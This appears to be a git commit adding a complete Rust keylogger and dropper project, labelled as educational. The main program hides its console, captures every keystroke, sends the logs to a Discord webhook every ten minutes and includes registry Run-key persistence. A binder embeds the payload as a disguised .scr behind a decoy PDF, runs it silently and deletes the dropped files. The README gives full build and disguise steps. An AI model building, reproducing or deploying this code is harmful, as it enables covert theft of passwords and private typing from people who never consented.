This commit is contained in:
Axiean 2025-07-11 22:56:10 +03:30
commit a006e506bb
8 changed files with 2044 additions and 0 deletions

1
.gitignore vendored Normal file
View File

@ -0,0 +1 @@
/target

1656
Cargo.lock generated Normal file

File diff suppressed because it is too large Load Diff

16
Cargo.toml Normal file
View File

@ -0,0 +1,16 @@
[package]
name = "keylogger"
version = "0.1.0"
edition = "2021"
[dependencies]
windows = { version = "0.54.0", features = [
"Win32_UI_Input_KeyboardAndMouse",
"Win32_UI_WindowsAndMessaging",
"Win32_System_Console",
"Win32_Foundation"
] }
reqwest = { version = "0.11", features = ["blocking", "json"] }
chrono = "0.4"
winreg = "0.11"

83
README.md Normal file
View File

@ -0,0 +1,83 @@
# 🦀 Rust Keylogger & Binder (Educational Use Only)
> 🚨 **DISCLAIMER**: This project is for **educational and ethical hacking training only**. It is intended to help red teamers, blue teamers, and cybersecurity learners understand the mechanics of keyloggers and stealth payload delivery techniques. **Do not run this on any system you do not own or have explicit permission to test. Always use isolated virtual machines or lab environments.**
---
## 📚 Overview
This repository contains a complete **Rust-based keylogger** and a **stealth delivery binder** simulating a real-world attack scenario. The purpose is to demonstrate how a seemingly harmless file (like a PDF) can be used to drop and execute a keylogger in the background.
The project is split into two components:
1. **Keylogger (`main.rs`)**
- Captures keystrokes silently.
- Sends logs to a Discord webhook every 10 minutes.
- Hides its console window.
- Designed to simulate persistent, low-noise keylogging behavior.
2. **Binder (`binder.rs`)**
- Bundles the compiled keylogger with a decoy PDF file.
- Executes both: the real PDF (decoy) and the keylogger (.scr).
- Deletes temporary files after execution to reduce footprint.
---
## 📂 Project Structure
Keylogger/
├── src/
│ ├── main.rs # Main keylogger logic
│ └── bin/
│ └── binder.rs # PDF + SCR binder
├── assets/
│ ├── resume.pdf # Decoy PDF
│ └── win_payload.scr # Keylogger executable (renamed)
├── config/
│ └── webhook.url # Your Discord webhook URL (plaintext)
├── Cargo.toml
├── README.md
└── target/ # Cargo build output
---
## ⚙️ Requirements
- Rust (latest stable recommended) → [Install Rust](https://www.rust-lang.org/tools/install)
- Windows machine or VM
- Discord account for receiving webhook logs
- PDF file to use as decoy (already provided, named `sample.pdf` , in `assets` directory)
---
## 🔧 Setup & Compilation
### 1. Clone the Repo
```bash
git clone https://github.com/yourusername/rust-keylogger.git
cd rust-keylogger
```
### 2. Set Up Your Webhook
Inside the config/webhook.url directory, replace your webhook address (ex , Discord , Telegram , ...):
```bash
https://discordapp.com/api/webhooks/<YOUR_DISCORD_API>
```
The Rust code reads this file at compile time using:
### 3. Compile the Keylogger Binary
```bash
cargo build --release --bin keylogger
```
Rename the resulting file:
```bash
mv target/release/keylogger.exe assets/win_payload.scr
```

BIN
assets/sample.pdf Normal file

Binary file not shown.

1
config/webhook.url Normal file
View File

@ -0,0 +1 @@
https://discordapp.com/api/webhooks/<YOUR_DISCORD_API>

79
src/bin/binder.rs Normal file
View File

@ -0,0 +1,79 @@
use std::env::temp_dir;
use std::fs::{remove_file, File};
use std::io::Write;
use std::process::Command;
use std::thread::sleep;
use std::time::Duration;
// # Embeds the decoy PDF file directly into the compiled executable.
// The `include_bytes!` macro reads the entire contents of a file at compile time
// and stores it as a static byte array (`&[u8]`) inside the final program.
// This means the PDF file does not need to be distributed alongside the executable.
static PDF: &[u8] = include_bytes!("../../assets/sample.pdf");
// # Embeds the malicious payload (a screensaver file, .scr) into the executable.
// Similar to the PDF, this bundles the payload within the dropper program itself,
// making the entire package a single, self-contained file.
// Screensaver files (.scr) are executables and are often used as a disguise.
static SCR: &[u8] = include_bytes!("../../assets/win_payload.scr");
fn main() {
// # Get the path to the system's temporary directory.
// This is a common location for programs to store temporary files.
// Using this directory is less suspicious than writing to the current directory or a user's desktop.
let tmp = temp_dir();
// # Define the full path for the decoy PDF file within the temporary directory.
// The program will write the embedded PDF data to this location.
let pdf_path = tmp.join("sample.pdf");
// # Define the full path for the payload file within the temporary directory.
// A generic name like "scrn.scr" is chosen to be inconspicuous.
let scr_path = tmp.join("scrn.scr");
// # Write the embedded PDF data to the file system.
// This block creates a new file at `pdf_path`. If successful, it writes the
// entire byte array of the embedded PDF into this new file.
// This process is often called "dropping" the file.
if let Ok(mut file) = File::create(&pdf_path) {
let _ = file.write_all(PDF);
}
// # Write the embedded payload data to the file system.
// This does the same as the block above, but for the malicious `.scr` file.
// After this step, both the decoy and the payload exist as actual files on the user's disk.
if let Ok(mut file) = File::create(&scr_path) {
let _ = file.write_all(SCR);
}
// # Open the decoy PDF file using the system's default PDF viewer.
// This is the "sleight of hand" part of the program. By opening a legitimate-looking
// document, the user is distracted and believes the program has done what was expected.
// `Command::new("cmd").args(["/C", ...])` executes the path as if typed into the command prompt.
// Windows will automatically use the default application for `.pdf` files.
let _ = Command::new("cmd")
.args(["/C", &pdf_path.to_string_lossy()])
.spawn();
// # Execute the malicious payload silently in the background.
// This command runs the `.scr` file. Since `.scr` files are executable, this launches the payload.
// Because it's launched with `spawn`, it runs as a separate, independent process.
// The user will not see a window for this process, making it appear silent.
let _ = Command::new("cmd")
.args(["/C", &scr_path.to_string_lossy()])
.spawn();
// # Pause the dropper's execution for a short period.
// This wait is crucial. It gives the newly spawned processes (the PDF viewer and the payload)
// enough time to start up and lock their respective files. If we tried to delete the files
// immediately, the operating system might still have them open, causing the deletion to fail.
sleep(Duration::from_secs(2));
// # Attempt to clean up by deleting the dropped files.
// This is the final step for the dropper. It removes the decoy PDF and the payload
// from the temporary directory to hide the evidence of its operation.
// If the payload is well-designed, it will have already copied itself elsewhere
// or will continue running from memory, so deleting the original `.scr` file doesn't stop it.
let _ = remove_file(&pdf_path);
let _ = remove_file(&scr_path);
}

208
src/main.rs Normal file
View File

@ -0,0 +1,208 @@
use chrono::Local;
use reqwest::blocking::Client;
use std::env;
use std::fs;
use std::fs::OpenOptions;
use std::io::Write;
use std::path::PathBuf;
use std::time::{Duration, Instant};
use windows::Win32::System::Console::GetConsoleWindow;
use windows::Win32::UI::Input::KeyboardAndMouse::*;
use windows::Win32::UI::WindowsAndMessaging::{ShowWindow, SW_HIDE};
use winreg::enums::*;
use winreg::RegKey;
// The contents of the file are read at COMPILE TIME and put here as a string
const WEBHOOK_URL: &str = include_str!("../config/webhook.url");
const LOG_PATH: &str = "C:\\Users\\Public\\logrust.txt";
/// # Checks if the Caps Lock key is toggled on.
///
/// This function uses the `GetKeyState` Windows API function to determine the toggle state
/// of the Caps Lock key. It's essential for correctly interpreting the case of alphabetic characters.
/// The result is a boolean `true` if Caps Lock is active, and `false` otherwise.
/// The `unsafe` block is required because this function calls directly into the Windows OS API,
/// which Rust cannot guarantee the safety of.
fn is_capslock_on() -> bool {
unsafe { GetKeyState(VK_CAPITAL.0 as i32) & 0x0001 != 0 }
}
/// # Checks if a specific virtual key is currently being pressed.
///
/// This function utilizes the `GetAsyncKeyState` Windows API function to get the real-time
/// state of any given key on the keyboard. It checks the most significant bit of the return value
/// to see if the key is down. This is crucial for detecting key presses as they happen.
/// The `unsafe` block is necessary for the direct OS API call.
fn is_key_pressed(vk: i32) -> bool {
let state = unsafe { GetAsyncKeyState(vk) };
state & (0x8000u16 as i16) != 0
}
/// # Appends a given string (representing a key press) to the log file.
///
/// This function takes the captured keystroke and writes it to the end of the file
/// specified by `LOG_PATH`. It uses `OpenOptions` to ensure the file is created if it
/// doesn't exist (`create(true)`) and that new data is appended without overwriting
/// existing content (`append(true)`).
fn log_to_file(key: &str) {
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(LOG_PATH) {
let _ = file.write_all(key.as_bytes());
}
}
/// # Reads the log file and sends its contents to a Discord webhook.
///
/// This function is responsible for exfiltrating the captured keystrokes.
/// It first reads the entire content of the log file into a string.
/// If the file is not empty, it formats the content into a message that includes a timestamp
/// and then sends this data as an HTTP POST request to the specified Discord webhook URL.
/// After successfully sending, it clears the log file to prevent sending the same data repeatedly.
fn send_file_to_discord(path: &str) {
if let Ok(content) = fs::read_to_string(path) {
if !content.is_empty() {
// Gets the current time to timestamp the log dump.
let timestamp = Local::now().format("%Y-%m-%d %H:%M:%S").to_string();
// Formats the message body for the Discord webhook.
let body = format!("📥 Keystroke dump at {}:\n```{}```", timestamp, content);
// Creates a new HTTP client and sends the data as a form payload.
let _ = Client::new()
.post(WEBHOOK_URL)
.form(&[("content", &body)])
.send();
// Wipes the log file by opening it in write mode and truncating it to zero bytes.
// This ensures the next log dump will only contain new keystrokes.
let _ = OpenOptions::new().write(true).truncate(true).open(path);
}
}
}
/// # Sends an initial notification to the webhook when the keylogger starts.
///
/// This function sends a simple message to the Discord webhook to confirm that the
/// keylogger has been successfully executed on the target machine. It includes a
/// timestamp to record the start time.
fn send_initial_ping() {
let timestamp = Local::now().format("%Y-%m-%d %H:%M:%S").to_string();
let msg = format!("🟢 Keylogger started at {}", timestamp);
let _ = Client::new()
.post(WEBHOOK_URL)
.form(&[("content", &msg)])
.send();
}
/// # Main function and the core logic loop of the keylogger.
fn main() {
// Immediately notify the webhook that the program has started.
send_initial_ping();
// Record the current time to track when the last log file was sent.
let mut last_sent = Instant::now();
// Hide the console window to make the keylogger less conspicuous.
// `GetConsoleWindow` gets a handle to the program's console window.
// `ShowWindow` with `SW_HIDE` makes it invisible to the user.
unsafe {
let hwnd = GetConsoleWindow();
ShowWindow(hwnd, SW_HIDE);
}
// Initialize an array to track the state of each key (pressed or not pressed).
// This prevents logging a single key press multiple times if the key is held down.
let mut last_state = [false; 256];
// The main loop that runs continuously to capture keystrokes.
loop {
// Iterate through all possible virtual key codes (from 8 to 255).
for vk in 8..256 {
let index = vk as usize;
// Check if a key is currently pressed AND was not pressed in the previous check.
// This logic ensures we only log the key once when it's first pressed down.
if is_key_pressed(vk) && !last_state[index] {
let mut output = String::new();
// Check the state of SHIFT and CAPS LOCK to determine character case.
let is_shift = is_key_pressed(VK_SHIFT.0 as i32);
let is_caps = is_capslock_on();
// Handle standard alphabetic characters (A-Z).
// The range check covers both uppercase and lowercase ASCII values.
if (vk >= 65 && vk <= 90) || (vk >= 97 && vk <= 122) {
// The `^` (XOR) operator correctly determines the case.
// If either SHIFT or CAPS LOCK is active (but not both), the character is uppercase.
// Otherwise, it's lowercase.
let ch = if is_shift ^ is_caps {
vk as u8 as char
} else {
(vk as u8 as char).to_ascii_lowercase()
};
output.push(ch);
} else {
// Handle special keys by matching their virtual key codes.
// Instead of logging the raw character, a descriptive string is used.
match vk {
k if k == VK_RETURN.0 as i32 => output.push_str("\n[ENTER]"),
k if k == VK_SPACE.0 as i32 => output.push(' '),
k if k == VK_BACK.0 as i32 => output.push_str("[BACK]"),
k if k == VK_TAB.0 as i32 => output.push_str("[TAB]"),
k if k == VK_ESCAPE.0 as i32 => output.push_str("[ESC]"),
k if k == VK_CONTROL.0 as i32 => output.push_str("[CTRL]"),
k if k == VK_MENU.0 as i32 => output.push_str("[ALT]"),
k if k == VK_DELETE.0 as i32 => output.push_str("[DEL]"),
// Ignore any other keys that are not explicitly handled.
_ => {}
}
}
// If a key was successfully translated into a string, log it to the file.
if !output.is_empty() {
log_to_file(&output);
}
// Update the state for this key to `true` (pressed) to prevent re-logging.
last_state[index] = true;
} else if !is_key_pressed(vk) {
// If the key is no longer pressed, reset its state to `false`.
// This makes it ready to be logged again the next time it's pressed.
last_state[index] = false;
}
}
// Check if 600 seconds (10 minutes) have passed since the last data dump.
if last_sent.elapsed() >= Duration::from_secs(600) {
// If so, send the current log file to the webhook.
send_file_to_discord(LOG_PATH);
// Reset the timer to start counting for the next 10-minute interval.
last_sent = Instant::now();
}
}
}
/// # Configures the keylogger to run automatically on system startup.
///
/// This function creates persistence by copying the executable to a less obvious
/// location and adding a Windows Registry key that ensures the program is
/// launched every time the user logs in.
fn add_to_startup() {
// Get the path to the user's AppData\Roaming directory, a common place for app data.
let appdata = env::var("APPDATA").unwrap_or_else(|_| "C:\\Users\\Public".to_string());
// Define the new path and filename for the executable. Using a generic name
// like "win32ui.scr" can help it blend in.
let target_path = PathBuf::from(appdata).join("win32ui.scr");
// Copy the currently running executable to the new target path.
if let Ok(current_exe) = env::current_exe() {
let _ = fs::copy(&current_exe, &target_path);
}
// Access the Windows Registry key responsible for running programs on startup for the current user.
if let Ok(hkcu) = RegKey::predef(HKEY_CURRENT_USER).open_subkey_with_flags(
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
KEY_WRITE,
) {
// Create a new value in the "Run" key. The name can be anything, but "Win32UI"
// is used here. The value is the full path to the copied executable.
let _ = hkcu.set_value("Win32UI", &target_path.to_string_lossy().to_string());
}
}